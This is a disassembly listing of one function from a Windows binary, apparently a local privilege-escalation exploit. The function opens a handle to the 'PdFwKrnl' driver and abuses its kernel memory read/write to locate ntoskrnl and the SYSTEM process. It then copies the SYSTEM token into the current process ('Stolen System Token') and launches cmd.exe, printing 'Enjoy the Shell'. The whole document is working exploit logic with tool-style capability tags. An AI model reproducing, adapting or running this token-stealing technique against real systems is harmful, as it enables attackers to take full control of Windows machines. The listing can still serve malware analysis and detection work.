Function at 0x140002270
Capabilities:
Execute command
Load ntoskrnl
Resolve ntoskrnl gadgets
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rax, qword [0x140008040]
xor rax, rsp
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x48]
call fcn.1400012b0
nop
lea rcx, [rsp + 0x48]
call fcn.140001c10
mov dword [0x140008768], eax
lea rcx, [rsp + 0x48]
call fcn.1400018b0
mov dword [0x140008758], eax
lea ecx, [rax + 8]
mov dword [0x14000875c], ecx
mov edx, dword [0x140008768]
cmp edx, 0xffffffff
je 0x1400026b2
cmp ecx, 0xffffffff
je 0x1400026b2
cmp eax, 0xffffffff
je 0x1400026b2
lea rcx, str._t___Using_Token_Offset__x_n
call fcn.140001070
mov edx, dword [0x14000875c]
lea rcx, str._t___Using_ActiveProcLink_Offset__x_n
call fcn.140001070
mov edx, dword [0x140008758]
lea rcx, str._t___Using_UniquePID_Offset__x_n
call fcn.140001070
lea rcx, str._t___Opening_handle_to_driver__n
call fcn.140001070
xor ebp, ebp
mov qword [rsp + 0x30], rbp
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0xc0000000
lea rcx, str..PdFwKrnl
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov r14, rax
cmp rax, 0xffffffffffffffff
jne 0x140002377
lea rcx, str._t_____Failed_to_open_driver_handle__n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
mov rdx, r14
lea rcx, str._t___Driver_Handle:_0x_x_n
call fcn.140001070
mov ebx, ebp
nop dword [rax + rax]
mov edx, 0x20
mov rcx, r14
call fcn.140002120
mov r12, rax
mov edx, 0x50
mov rcx, r14
call fcn.140002120
cmp r12, rax
je 0x140002437
inc ebx
cmp ebx, 3
jl 0x140002390
lea rcx, str._____PspSystemQuotaBlock_Not_Found__exiting...
call fcn.140001070
nop
mov rdx, qword [rsp + 0x60]
cmp rdx, 0xf
jbe 0x14000240a
inc rdx
mov rcx, qword [rsp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002405
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002405
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000387c
xor eax, eax
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400033f0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rdx, r12
lea rcx, str._t___PspSystemQuotaBlock:__llx_n
call fcn.140001070
lea rcx, str.ntoskrnl.exe
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbx, rax
test rax, rax
jne 0x140002467
lea rcx, str._t_____Couldnt_load_ntoskrnl.exe_n
jmp 0x140002572
lea rdx, str.PsInitialSystemProcess
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14000256b
sub eax, ebx
mov dword [0x140008764], eax
lea rdx, str.HviGetHardwareFeatures
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdi, rax
test rax, rax
je 0x140002562
mov ecx, edi
sub ecx, ebx
mov dword [0x140008760], ecx
mov edx, dword [0x140008764]
lea rcx, str._t___PsInitialSystemProcess_Offset:__llx_n
call fcn.140001070
mov edx, dword [0x140008760]
lea rcx, str._t___HviGetHardwareFeatures_Offset:__llx_n
call fcn.140001070
mov rbx, qword [rdi]
mov qword [rsp + 0x40], rbx
mov r15d, 0x10
lea r13, [rdi + 8]
nop dword [rax]
nop dword [rax + rax]
mov eax, r15d
mov rbp, r12
sub rbp, rax
mov rdx, rbp
mov rcx, r14
call fcn.140001f10
cmp rax, rbx
jne 0x14000255c
mov edi, 1
mov ebx, edi
mov rsi, r13
nop dword [rax]
nop word [rax + rax]
lea eax, [rbx*8]
mov ecx, r15d
sub ecx, eax
mov eax, ecx
mov rdx, r12
sub rdx, rax
mov rcx, r14
call fcn.140001f10
lea ecx, [rdi + 1]
cmp rax, qword [rsi]
cmovne ecx, edi
mov edi, ecx
inc ebx
lea rsi, [rsi + 8]
cmp ebx, 0xb
jl 0x140002520
cmp ecx, 0xb
jge 0x140002577
mov rbx, qword [rsp + 0x40]
add r15d, 0x10
jmp 0x1400024f0
lea rcx, str._t_____Couldnt_Get_Offset_of_HviGetHardwareFeatures_n
jmp 0x140002572
lea rcx, str._t_____Couldnt_Get_Offset_of_PsInitialSystemProcess_n
call fcn.140001070
mov rdx, rbp
lea rcx, str._t___HviGetHardwareFeatures:__llx_n
call fcn.140001070
mov eax, dword [0x140008760]
sub rbp, rax
mov rdx, rbp
lea rcx, str._t___ntoskrnl_Base_Addr:___llx_n
call fcn.140001070
mov edx, dword [0x140008764]
add rdx, rbp
lea rcx, str._t___PsInitialSystemProcess:__llx_n
call fcn.140001070
mov edx, dword [0x140008764]
add rdx, rbp
mov rcx, r14
call fcn.140001f10
mov rbx, rax
mov rdx, rax
lea rcx, str._t___SYSTEM__EPROC:__llx_n
call fcn.140001070
movabs rax, 0xfff0000000000000
cmp rbx, rax
jae 0x1400025f8
lea rcx, str._t_____Incorrect_PsInitialSystemProcess_Pointer__exiting
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3
mov rdx, rbx
mov rcx, r14
call fcn.1400020b0
mov rsi, rax
mov rdx, rax
lea rcx, str._t___CURRENT__EPROC:__llx_n
call fcn.140001070
mov edx, dword [0x140008768]
add rdx, rbx
mov rcx, r14
call fcn.140001f10
mov rdi, rax
and rdi, 0xfffffffffffffff0
mov rdx, rdi
lea rcx, str._t___Stolen_System_Token:__llx_n
call fcn.140001070
mov edx, dword [0x140008768]
add rdx, rsi
mov rcx, r14
call fcn.140001f10
mov rbx, rax
mov rdx, rax
lea rcx, str._t___Current_Token:__llx_n
call fcn.140001070
and ebx, 0xf
mov edx, ebx
lea rcx, str._t___Old_Handle_Ref:__X_n
call fcn.140001070
mov r8d, ebx
add r8, rdi
mov edx, dword [0x140008768]
add rdx, rsi
mov rcx, r14
call fcn.140002000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str._t___Enjoy_the_Shell__n_n
call fcn.140001070
lea rcx, str.cmd.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str._t___Unable_To_Find_Offsets__exiting_to_prevent_BSOD_n
call fcn.140001070
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_abort]
int3